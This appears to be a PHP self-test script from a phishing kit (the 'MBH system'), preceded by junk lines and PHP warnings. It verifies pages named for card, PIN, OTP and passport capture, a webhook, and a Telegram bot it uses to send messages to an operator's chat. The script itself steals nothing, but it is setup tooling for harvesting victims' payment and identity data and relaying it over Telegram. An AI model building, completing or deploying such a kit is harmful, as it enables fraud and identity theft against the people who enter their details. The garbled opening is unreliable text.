???
123123123123
.....................................................................................................................................???
123123123123
.....................................................................................................................................
Warning: Undefined variable $auth in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Trying to access array offset on null in /home/elquintoelemento/public_html/admin.php on line 546
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 188
Warning: Cannot modify header information - headers already sent by (output started at /home/elquintoelemento/public_html/admin.php:1) in /home/elquintoelemento/public_html/admin.php on line 189
\n";
echo "\n";
echo "
\n";
echo "\n";
echo "
๐งช System Test Report
\n";
$allTestsPassed = true;
$testResults = [];
function addTest($name, $passed, $message = '') {
global $testResults, $allTestsPassed;
$testResults[] = [
'name' => $name,
'passed' => $passed,
'message' => $message
];
if(!$passed) {
$allTestsPassed = false;
}
}
// Test 1: PHP Version
echo "
\n";
echo "
1. PHP Environment
\n";
echo "
\n";
echo "Version: " . PHP_VERSION . "
\n";
if(version_compare(PHP_VERSION, '7.0.0', '>=')) {
addTest('PHP Version', true, 'Version ' . PHP_VERSION);
echo "โ PHP version is compatible\n";
} else {
addTest('PHP Version', false, 'Version ' . PHP_VERSION . ' is too old');
echo "โ PHP version is too old\n";
}
echo "
\n";
// Test 2: Required Extensions
echo "
\n";
echo "
2. Required Extensions
\n";
echo "
\n";
$required = ['curl', 'json', 'session'];
foreach($required as $ext) {
if(extension_loaded($ext)) {
addTest("Extension: $ext", true);
echo "โ $ext loaded
\n";
} else {
addTest("Extension: $ext", false, 'Extension not loaded');
echo "โ $ext NOT loaded
\n";
}
}
echo "
\n";
// Test 3: Directory Structure
echo "
\n";
echo "
3. Directory Structure
\n";
echo "
\n";
$dirs = ['data', 'data/sessions', 'data/status', 'data/logs', 'uploads', 'core', 'pages', 'js', 'assets'];
foreach($dirs as $dir) {
if(!is_dir($dir)) {
@mkdir($dir, 0755, true);
}
if(is_dir($dir) && is_writable($dir)) {
addTest("Directory: $dir", true);
echo "โ $dir exists and writable
\n";
} else {
addTest("Directory: $dir", false, 'Directory not writable');
echo "โ $dir is NOT writable
\n";
}
}
echo "
\n";
// Test 4: Core Files
echo "
\n";
echo "
4. Core Files
\n";
echo "
\n";
$files = [
'core/config.php',
'core/core.php',
'core/header.php',
'core/footer.php',
'index.php',
'pages/card.php',
'pages/pin.php',
'pages/otp.php',
'pages/passport.php',
'pages/loading.php',
'pages/success.php',
'js/check.php',
'webhook.php'
];
foreach($files as $file) {
if(file_exists($file)) {
addTest("File: $file", true);
echo "โ $file exists
\n";
} else {
addTest("File: $file", false, 'File missing');
echo "โ $file MISSING
\n";
}
}
echo "
\n";
// Test 5: Telegram Configuration
echo "
\n";
echo "
5. Telegram Bot Configuration
\n";
echo "
\n";
if(file_exists('core/config.php')) {
require_once 'core/config.php';
$token = getBotToken();
$chatId = getChatId();
echo "Token (partial): " . substr($token, 0, 15) . "...
\n";
echo "Chat ID: $chatId
\n";
// Test API connection
$apiUrl = "https://api.telegram.org/bot$token/getMe";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $apiUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
$result = json_decode($response, true);
if($result && isset($result['ok']) && $result['ok'] === true) {
addTest('Telegram Bot Token', true, '@' . $result['result']['username']);
echo "
โ Bot is valid: @" . $result['result']['username'] . "\n";
// Test sending message
echo "
Testing message send...
\n";
$testMessage = "
๐งช System Test\nTest message from MBH system at " . date('Y-m-d H:i:s');
$sent = sendTelegramMessage($testMessage);
if($sent) {
addTest('Telegram Message Send', true, 'Message sent successfully');
echo "
โ Message sent successfully!\n";
} else {
addTest('Telegram Message Send', false, 'Failed to send message');
echo "
โ Message send failed (check logs)\n";
}
} else {
$errorDesc = $result['description'] ?? 'Unknown error';
addTest('Telegram Bot Token', false, $errorDesc);
echo "
โ Bot token is INVALID\n";
echo "Error: $errorDesc
\n";
echo "
\n";
echo "โ ๏ธ To fix this:
\n";
echo "1. Contact @BotFather on Telegram
\n";
echo "2. Create a new bot with /newbot
\n";
echo "3. Update the token in core/config.php
\n";
echo "4. See SETUP_TELEGRAM.md for instructions\n";
echo "
\n";
}
} else {
addTest('Configuration File', false, 'config.php not found');
echo "
โ config.php not found\n";
}
echo "
\n";
// Test 6: Session Test
echo "
\n";
echo "
6. Session Management
\n";
echo "
\n";
if(function_exists('initSecureSession')) {
initSecureSession();
$sessionId = session_id();
// Test saving data
$_SESSION['test'] = 'test_value';
if(isset($_SESSION['test']) && $_SESSION['test'] === 'test_value') {
addTest('Session Management', true, 'Session ID: ' . substr($sessionId, 0, 8) . '...');
echo "โ Session working correctly
\n";
echo "Session ID: " . substr($sessionId, 0, 8) . "...
\n";
} else {
addTest('Session Management', false, 'Session not working');
echo "โ Session not working\n";
}
// Test file operations
$testData = ['test' => 'data'];
saveSessionData($testData);
$loadedData = loadSessionData();
if($loadedData['test'] === 'data') {
addTest('File Operations', true);
echo "โ File read/write working\n";
} else {
addTest('File Operations', false, 'Cannot read/write session files');
echo "โ File read/write failed\n";
}
}
echo "
\n";
// Test 7: Status System
echo "
\n";
echo "
7. Status System
\n";
echo "
\n";
$testStatus = 'test_status_' . time();
setStatus($testStatus);
$retrievedStatus = getStatus();
if($retrievedStatus === $testStatus) {
addTest('Status System', true);
echo "โ Status system working
\n";
echo "Test status: $testStatus\n";
} else {
addTest('Status System', false, 'Status read/write mismatch');
echo "โ Status system failed
\n";
echo "Expected: $testStatus
\n";
echo "Got: $retrievedStatus\n";
}
echo "
\n";
// Summary
echo "
\n";
echo "
๐ Test Summary
\n";
echo "
Total Tests: " . count($testResults) . "
\n";
$passedTests = array_filter($testResults, function($t) { return $t['passed']; });
$failedTests = array_filter($testResults, function($t) { return !$t['passed']; });
echo "Passed: " . count($passedTests) . "
\n";
echo "Failed: " . count($failedTests) . "
\n";
if($allTestsPassed) {
echo "
โ
All tests passed! System is ready.
\n";
} else {
echo "
โ ๏ธ Some tests failed. Please review above.
\n";
}
echo "
\n";
// Show logs if available
echo "
\n";
echo "
๐ Recent Logs
\n";
$logDir = 'data/logs/';
if(is_dir($logDir)) {
$logs = glob($logDir . '*.log');
if(!empty($logs)) {
rsort($logs);
$latestLog = $logs[0];
echo "
\n";
echo "File: $latestLog
\n";
$lines = file($latestLog);
$lastLines = array_slice($lines, -20);
foreach($lastLines as $line) {
echo htmlspecialchars($line) . "
\n";
}
echo "
\n";
} else {
echo "
No logs found.
\n";
}
}
echo "
\n";
// Links
echo "
\n";
echo "
\n";